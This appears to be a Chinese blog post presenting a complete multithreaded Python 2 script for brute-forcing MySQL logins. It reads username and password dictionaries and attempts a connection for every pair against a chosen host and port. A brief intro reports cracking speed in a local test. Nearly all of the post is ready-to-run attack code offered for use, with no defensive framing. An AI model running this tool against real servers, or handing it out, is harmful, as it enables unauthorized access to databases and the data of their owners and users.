Python开发Mysql爆破工具

想要爆破MySQL目标至少要允许远程连接,一个强壮的字典是爆破的关键所在

本地测试为:6272个密码,4秒5左右,因为我把正确的放到最后一个

用的时候把密码错误输出的屏蔽了,否则速度降半。

  1. #!coding=utf-8
  2. import re
  3. import socket
  4. import optparse
  5. import threading
  6. import time
  7.  
  8. try:
  9. import pymysql
  10. except ImportError:
  11. print "[!!!]需要先安装pymysql模块"
  12. print "[!!!]Usage:pip install pymysql"
  13. exit()
  14.  
  15. result_user =None
  16. result_pass =None
  17. threads =[]
  18.  
  19.  
  20. #----------------------------------------------------------------------
  21. def main():
  22. """
  23. 主函数,处理输入的参数
  24. """
  25. parse = optparse.OptionParser('python %prog -H <target host> --u <users dictionary> --p <password dictionary> -P <port>')
  26. parse.add_option('-H', dest="target_host", type="string", help='目标主机')
  27. parse.add_option('--u', dest='user_dic', type='string', help='用户字典')
  28. parse.add_option('--p', dest='pwd_dic', type='string', help='密码字典')
  29. parse.add_option('-P', dest='port', type='int', help='端口')
  30. (options, args) = parse.parse_args()
  31. target_host = options.target_host
  32. user_dic = options.user_dic
  33. pwd_dic = options.pwd_dic
  34. port = options.port
  35. if target_host is not None:
  36. mysql_brute(target_host, user_dic, pwd_dic, port)
  37. else:
  38. print "[!!!]Unknon IP"
  39. exit()
  40.  
  41.  
  42. #----------------------------------------------------------------------
  43. def mysql_brute(host,user_dic,pwd_dic,port):
  44. """
  45. MySQL暴力破解
  46. :param host: 主机
  47. :param user_dic: 用户字典
  48. :param pwd_dic: 密码字典
  49. :param port: 端口
  50. :return: None
  51. """
  52. global start_time
  53. start_time =time.time()
  54. print "[*] Target:" + host
  55. print "[*] Start cracking"
  56. userlist = None
  57. pwdlist = None
  58. try:
  59. socket.gethostbyname(host)
  60. except Exception:
  61. print '[*] Cannot connect to %s' % host
  62. exit()
  63. try:
  64. userlist = [i.strip('\n') for i in open(user_dic, 'r').readlines()]
  65. pwdlist = [j.strip('\n') for j in open(pwd_dic, 'r').readlines()]
  66. print "[*] Number of users:" + str(len(userlist))
  67. print "[*] Number of passwords:" + str(len(pwdlist))
  68. except Exception:
  69. print "[!] The path of the dictionary file is incorrect"
  70. exit()
  71. global threads
  72. for user in userlist:
  73. for pwd in pwdlist:
  74. if result_user is None and result_pass is None:
  75. t = threading.Thread(target=mysql_login, args=(host, user, pwd, port))
  76. t.start()
  77. threads.append(t)
  78.  
  79. #----------------------------------------------------------------------
  80. def mysql_login(host, username, password, port):
  81. """
  82. MySQL连接
  83. :param host:主机
  84. :param username:用户名
  85. :param password: 密码
  86. :param port: 端口
  87. :return: None
  88. """
  89. try:
  90. db = pymysql.Connect(host=host, port=port, user=username, passwd=password)
  91. print "\033[1;32;41m[+] Success! User:" + username + " Password:" + password + "\033[0m"
  92. global result_user, result_pass
  93. global end_time
  94. end_time = time.time()
  95. result_user = username
  96. result_pass = password
  97. db.close()
  98. exit()
  99. except Exception:
  100. #print "[-] Fail! User:" + username + " Password:" + password
  101. pass
  102.  
  103. #----------------------------------------------------------------------
  104. if __name__ == '__main__':
  105. main()
  106. for thread in threads:
  107. thread.join()
  108. if result_user is not None and result_pass is not None:
  109. print "用时:%s秒" %(end_time-start_time)
  110. print "\033[1;32;41m[+] Result: %s - %s\033[0m" % (result_user, result_pass)
  111. exit()
  112. if result_user is None and result_pass is None:
  113. print "[+] Crack Fail"

发表评论

邮箱地址不会被公开。 必填项已用*标注